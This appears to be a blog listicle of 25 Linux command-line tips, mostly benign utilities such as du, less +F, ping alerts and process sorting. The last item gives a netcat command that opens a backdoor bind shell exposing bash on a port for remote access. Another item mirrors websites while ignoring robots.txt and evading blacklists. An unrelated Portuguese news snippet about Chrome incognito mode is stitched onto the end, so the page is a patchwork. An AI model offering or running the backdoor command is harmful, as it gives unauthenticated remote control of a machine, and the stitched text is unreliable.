25 linux sick commands

1) Like top, but for files

watch -d -n 2 ‘df; ls -FlAt;’
2) Download an entire website

wget –random-wait -r -p -e robots=off -U mozilla http://www.example.com

-p parameter tells wget to include all files, including images.

-e robots=off you don’t want wget to obey by the robots.txt file

-U mozilla as your browsers identity.

–random-wait to let wget chose a random number of seconds to wait, avoid get into black list.

Other Useful wget Parameters:

–limit-rate=20k limits the rate at which it downloads files.

-b continues wget after logging out.

-o $HOME/wget_log.txt logs the output
3) List the size (in human readable form) of all sub folders from the current location

du -h –max-depth=1
4) A very simple and useful stopwatch

time read (ctrl-d to stop)

time read -sn1 (s:silent, n:number of characters. Press any character to stop)
5) Quick access to the ascii table.

man ascii
6) Shutdown a Windows machine from Linux

net rpc shutdown -I ipAddressOfWindowsPC -U username%password

This will issue a shutdown command to the Windows machine. username must be an administrator on the Windows machine. Requires samba-common package installed. Other relevant commands are:

net rpc shutdown -r : reboot the Windows machine

net rpc abortshutdown : abort shutdown of the Windows machine

Type:

net rpc

to show all relevant commands
7) Jump to a directory, execute a command and jump back to current dir

(cd /tmp && ls)
8) Display the top ten running processes – sorted by memory usage

ps aux | sort -nk +4 | tail

ps returns all running processes which are then sorted by the 4th field in numerical order and the top 10 are sent to STDOUT.
9) List of commands you use most often

history | awk ‘{a[$2]++}END{for(i in a){print a[i] ” ” i}}’ | sort -rn | head
10) Reboot machine when everything is hanging (raising a skinny elephant)

+ + – – –

If the machine is hanging and the only help would be the power button, this key-combination will help to reboot your machine (more or less) gracefully.

R – gives back control of the keyboard

S – issues a sync

E – sends all processes but init the term singal

I – sends all processes but init the kill signal

U – mounts all filesystem ro to prevent a fsck at reboot

B – reboots the system

Save your file before trying this out, this will reboot your machine without warning!

11) Make ‘less’ behave like ‘tail -f’

less +F somelogfile

Using +F will put less in follow mode. This works similar to ‘tail -f’. To stop scrolling, use the interrupt. Then you’ll get the normal benefits of less (scroll, etc.).

Pressing SHIFT-F will resume the ‘tailling’.
12) Set audible alarm when an IP address comes online

ping -i 60 -a IP_address

Waiting for your server to finish rebooting? Issue the command above and you will hear a beep when it comes online. The -i 60 flag tells ping to wait for 60 seconds between ping, putting less strain on your system. Vary it to your need. The -a flag tells ping to include an audible bell in the output when a package is received (that is, when your server comes online).
13) Backticks are evil

echo “The date is: $(date +%D)”
This is a simple example of using proper command nesting using $() over “. There are a number of advantages of $() over backticks. First, they can be easily nested without escapes:

program1 $(program2 $(program3 $(program4)))versus

program1 `program2 \`program3 \`program4\`\``Second, they’re easier to read, then trying to decipher the difference between the backtick and the singlequote: `’. The only drawback $() suffers from is lack of total portability. If your script must be portable to the archaic Bourne shell, or old versions of the C-shell or Korn shell, then backticks are appropriate, otherwise, we should all get into the habit of $(). Your future script maintainers will thank you for producing cleaner code.
14) Simulate typing

echo “You can simulate on-screen typing just like in the movies” | pv -qL 10

This will output the characters at 10 per second.
15) python smtp server

python -m smtpd -n -c DebuggingServer localhost:1025

This command will start a simple SMTP server listening on port 1025 of localhost. This server simply prints to standard output all email headers and the email body.
16) Watch Network Service Activity in Real-time

lsof -i
17) diff two unsorted files without creating temporary files

diff <(sort file1) <(sort file2)

bash/ksh subshell redirection (as file descriptors) used as input to diff
18) Rip audio from a video file.

mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile

replace accordingly
19) Matrix Style

tr -c “[:digit:]” ” ” < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=”1;32″ grep –color “[^ ]“
20) This command will show you all the string (plain text) values in ram

sudo dd if=/dev/mem | cat | strings

A fun thing to do with ram is actually open it up and take a peek.
21) Display which distro is installed

cat /etc/issue
22) Easily search running processes (alias).

alias ‘ps?’='ps ax | grep ‘
23) Create a script of the last executed command

echo “!!” > foo.sh

Sometimes commands are long, but useful, so it’s helpful to be able to make them permanent without having to retype them. An alternative could use the history command, and a cut/sed line that works on your platform.
history -1 | cut -c 7- > foo.sh
24) Extract tarball from internet without local saving

wget -qO – “http://www.tarball.com/tarball.gz” | tar zxvf -
25) Create a backdoor on a machine to allow remote connection to bash

nc -vv -l -p 1234 -e /bin/bash

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash. (becareful with this one)

Google revela que o modo de navegação anônima no Chrome não é totalmente ‘privado’

 O Google está informando aos usuários o que realmente é o modo de navegação anônima... O Google já estava no meio de uma ação coletiva relacionada ao modo de navegação anônima, onde foi acusado de rastrear a atividade do usuário. E eles concordaram em resolver o processo. Para concluir isso e seguir em frente, eles terão que fazer as alterações necessárias para evitar outro processo contra eles. As alterações a serem feitas apareceram recentemente na versão Canary (instável) do Google Chrome, conforme detectado originalmente por MSPowerUser . É na forma de um melhor aviso (e divulgação) ao iniciar o modo de navegação anônima, onde você é informado sobre as opções de privacidade do modo. A mensagem anterior (que agora pode ser encontrada em versões estáveis ​​do Google Chrome) era: Agora você pode navegar com privacidade e outras pessoas que usam este dispositivo não verão sua atividade. No entanto, downloads, favoritos e itens da lista de leitura serão salvos.
